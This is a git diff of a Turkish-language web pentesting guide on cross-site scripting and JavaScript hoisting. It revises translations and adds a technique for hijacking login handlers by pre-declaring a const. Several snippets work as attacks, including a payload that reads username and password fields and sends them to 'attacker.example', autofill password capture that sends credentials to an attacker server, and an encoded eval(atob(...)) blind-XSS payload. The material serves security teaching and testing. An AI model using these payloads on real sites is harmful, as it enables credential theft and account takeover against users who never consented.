yanıt yok demektir._ +_Kısa süreler yanıt veren bir portu gösterir_ _Daha uzun süreler yanıt olmadığını gösterir._ -Chrome'da yasaklanan portlar listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin. +Chrome'da yasaklanan portların listesini [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin. -### Kimlik bilgileri istemek için kutu +### Kimlik bilgileri isteme kutusu ```html ``` -### Otomatik doldurma şifreleri yakalama +### Otomatik doldurma şifrelerinin ele geçirilmesi ```javascript Username:
@@ -1386,18 +1421,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır. +Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; kullanıcı kaydedilmiş bir parola seçse bile ve hiçbir şey yazmasa bile kimlik bilgileri ex-filtrated olur. + +### Hijack form handlers ile kimlik bilgilerini exfiltrate etme (const shadowing) + +Eğer kritik bir handler (ör. `function DoLogin(){...}`) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha önce çalışıyorsa (ör. inline JS-in-JS sink aracılığıyla), handler'ı önden almak ve kilitlemek için aynı isimde bir `const` önceden tanımlayın. Daha sonraki function deklarasyonları bir `const` ismini yeniden bağlayamaz; böylece hook'ınız kontrolü elinde tutar: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Notlar +- Bu, yürütme sırasına dayanır: enjeksiyonunuz meşru bildirimin (declaration) öncesinde çalışmalıdır. +- Eğer payload'unuz `eval(...)` ile sarılıysa, `const/let` bağlamaları global olmaz. Gerçek bir global, yeniden bağlanamayan (non-rebindable) bağlama sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”'taki dinamik ` ``` -### PostMessage mesajlarını çalmak +### PostMessage mesajlarını çalma ```html ``` -### Servis Çalışanlarını Kötüye Kullanma +### Service Workers'ı Kötüye Kullanma {{#ref}} abusing-service-workers.md {{#endref}} -### Gölge DOM'a Erişim +### Shadow DOM'a Erişim {{#ref}} shadow-dom.md {{#endref}} -### Poliglotlar +### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Kör XSS yükleri +### Blind XSS payloads -Ayrıca şunu da kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com) +Ayrıca şunu kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> @@ -1510,7 +1560,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Gizli İçeriğe Erişim -[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenmek mümkündür ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir: +[**bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebileceği gibi, bazı değerler JS'den kaybolsa bile farklı nesnelerdeki JS özelliklerinde hâlâ bulunabilirler. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile bulunabilir: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1527,44 +1577,44 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force List +### Brute-Force Listesi {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Diğer güvenlik açıklarını istismar etme +## XSS ile diğer zafiyetleri kötüye kullanma ### Markdown'da XSS -Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirsiniz! Kontrol edin: +Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Bak: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS'den SSRF'ye +### XSS'ten SSRF'ye -**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile Edge Side Include Injection aracılığıyla **bunu SSRF'ye yükseltmeyi** deneyin: +**caching kullanan bir site** üzerinde XSS mi buldunuz? Edge Side Include Injection ile bunu **SSRF'ye yükseltmeyi** deneyin; payload şu: ```python ``` -Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşın!\ -Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +Use it to bypass cookie restrictions, XSS filters and much more!\ +More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### Dinamik oluşturulan PDF'de XSS -Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\ -Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz. +Eğer bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan botu **kandırarak** **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\ +Dolayısıyla, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır**, ve bu davranışı **suistimal ederek** bir **Server XSS** tetikleyebilirsiniz. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir: +Eğer HTML etiketleri enjekte edemiyorsanız, **inject PDF data** denemeye değer olabilir: {{#ref}} @@ -1573,15 +1623,15 @@ pdf-injection.md ### Amp4Email'de XSS -AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir. +AMP, mobil cihazlardaki web sayfası performansını hızlandırmayı amaçlayan; işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir ve hız ile güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara [AMP components](https://amp.dev/documentation/components/?format=websites) üzerinden erişilebilir. -[**E-posta için AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar. +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar. -Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email). +Örnek [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### Dosya yüklemede XSS (svg) +### XSS dosya yükleme (svg) -Aşağıdaki gibi bir dosyayı ( [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) ) bir resim olarak yükleyin: +Aşağıdaki gibi bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1637,7 +1687,7 @@ id="foo"/> ```xml ``` -Daha fazla SVG yüklemesi bulmak için **[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)** +Daha fazla **SVG payloads için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ## Çeşitli JS Hileleri ve İlgili Bilgiler @@ -1655,4 +1705,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## Referanslar + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 8ed88333d..ced5c7889 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Temel Bilgiler +## Temel Bilgi -JavaScript dilinde, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği bir mekanizma olarak **Hoisting** tanımlanır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, scripti birden fazla geçişte inceler. +JavaScript dilinde, değişkenlerin, fonksiyonların, class'ların veya imports'ın bildirimlerinin kod çalıştırılmadan önce kapsamlarının başına kavramsal olarak taşındığı **Hoisting** adlı bir mekanizma vardır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir; motor script'i birden fazla geçişte işler. -İlk geçişte, motor kodu sözdizimi hatalarını kontrol etmek için ayrıştırır ve onu soyut sözdizim ağacına dönüştürür. Bu aşama, belirli bildirimlerin yürütme bağlamının en üstüne taşındığı hoisting işlemini içerir. Ayrıştırma aşaması başarılı olursa, yani sözdizimi hatası yoksa, scriptin yürütülmesine devam edilir. +İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir abstract syntax tree'ye dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir işlemdir. Parse aşaması başarılı ve sözdizimi hatası yoksa script'in yürütülmesine devam edilir. -Anlamak önemlidir ki: +Anlaşılması kritik olan noktalar: -1. Scriptin yürütülmesi için sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır. -2. Script içindeki kodun yerleşimi, hoisting nedeniyle yürütmeyi etkiler, ancak yürütülen kodun metinsel temsili farklı olabilir. +1. Yürütmenin gerçekleşmesi için script'in sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına sıkı şekilde uyulmalıdır. +2. Kodun script içindeki yerleşimi, hoisting nedeniyle yürütmeyi etkiler; çalıştırılan kod metinsel gösteriminden farklı olabilir. -#### Hoisting Türleri +#### Types of Hoisting -MDN'den alınan bilgilere dayanarak, JavaScript'te dört farklı hoisting türü vardır: +MDN'den elde edilen bilgilere dayanarak, JavaScript'te dört ayrı hoisting türü vardır: -1. **Değer Hoisting**: Bir değişkenin değerinin, bildirim satırından önce kapsamı içinde kullanılmasına olanak tanır. -2. **Bildirim Hoisting**: Bir değişkenin, bildiriminden önce kapsamı içinde referans alınmasına izin verir, bu da `ReferenceError` oluşturmaz, ancak değişkenin değeri `undefined` olacaktır. -3. Bu tür, değişkenin gerçek bildirim satırından önceki bildirimine bağlı olarak kapsam içindeki davranışı değiştirir. -4. Bildirimin yan etkileri, içeren diğer kodun değerlendirilmesinden önce gerçekleşir. +1. **Value Hoisting**: Bir değişkenin bildirim satırından önce kapsamı içinde değerinin kullanılmasına olanak tanır. +2. **Declaration Hoisting**: Bir değişkenin bildiriminden önce kapsamı içinde referans verilmesine izin verir; `ReferenceError` oluşmaz ancak değişkenin değeri `undefined` olacaktır. +3. Bu tür, değişkenin gerçek bildirim satırından önce bildirilmesi nedeniyle kapsam içindeki davranışı değiştirir. +4. Deklarasyonun yan etkileri, onu içeren diğer kod değerlendirilmeden önce gerçekleşir. -Detaylı olarak, fonksiyon bildirimleri tür 1 hoisting davranışı sergiler. `var` anahtar kelimesi tür 2 davranışını gösterir. `let`, `const` ve `class` gibi sözcüksel bildirimler tür 3 davranışını sergiler. Son olarak, `import` ifadeleri, hem tür 1 hem de tür 4 davranışları ile hoisted olan benzersiz bir yapıya sahiptir. +Detaylandırmak gerekirse, function bildirimleri type 1 hoisting davranışı gösterir. `var` anahtar kelimesi type 2 davranışı sergiler. `let`, `const` ve `class`'ı içeren lexical deklarasyonlar type 3 davranışını gösterir. Son olarak, `import` ifadeleri hem type 1 hem de type 4 davranışlarıyla hoist edilir. ## Senaryolar -Bu nedenle, **Tanımsız bir nesne** kullanıldıktan sonra **JS kodu enjekte edebileceğiniz** senaryolarınız varsa, onu bildirerek **sözdizimini düzeltebilirsiniz** (böylece kodunuz bir hata fırlatmak yerine yürütülür): +Dolayısıyla, eğer bir undeclared object kullanıldıktan sonra **Inject JS code after an undeclared object** yapabileceğiniz senaryolarınız varsa, sözdizimini onu bildirerek **fix the syntax** yapabilirsiniz (böylece hata fırlatmak yerine kodunuz çalıştırılır): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -68,7 +68,7 @@ alert(1); test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` -## Daha Fazla Senaryo +## Diğer Senaryolar ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` +### const ile bir adı kilitleyerek sonraki bildirimleri önleyin + +Eğer üst düzey (top-level) `function foo(){...}` ayrıştırılmadan önce çalıştırma şansınız varsa, aynı isimle bir leksikal bağlama (ör. `const foo = ...`) tanımlamak, sonraki fonksiyon bildiriminin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları RXSS ile hijack etmek için kötüye kullanılabilir: +```javascript +// Malicious code runs first (e.g., earlier inline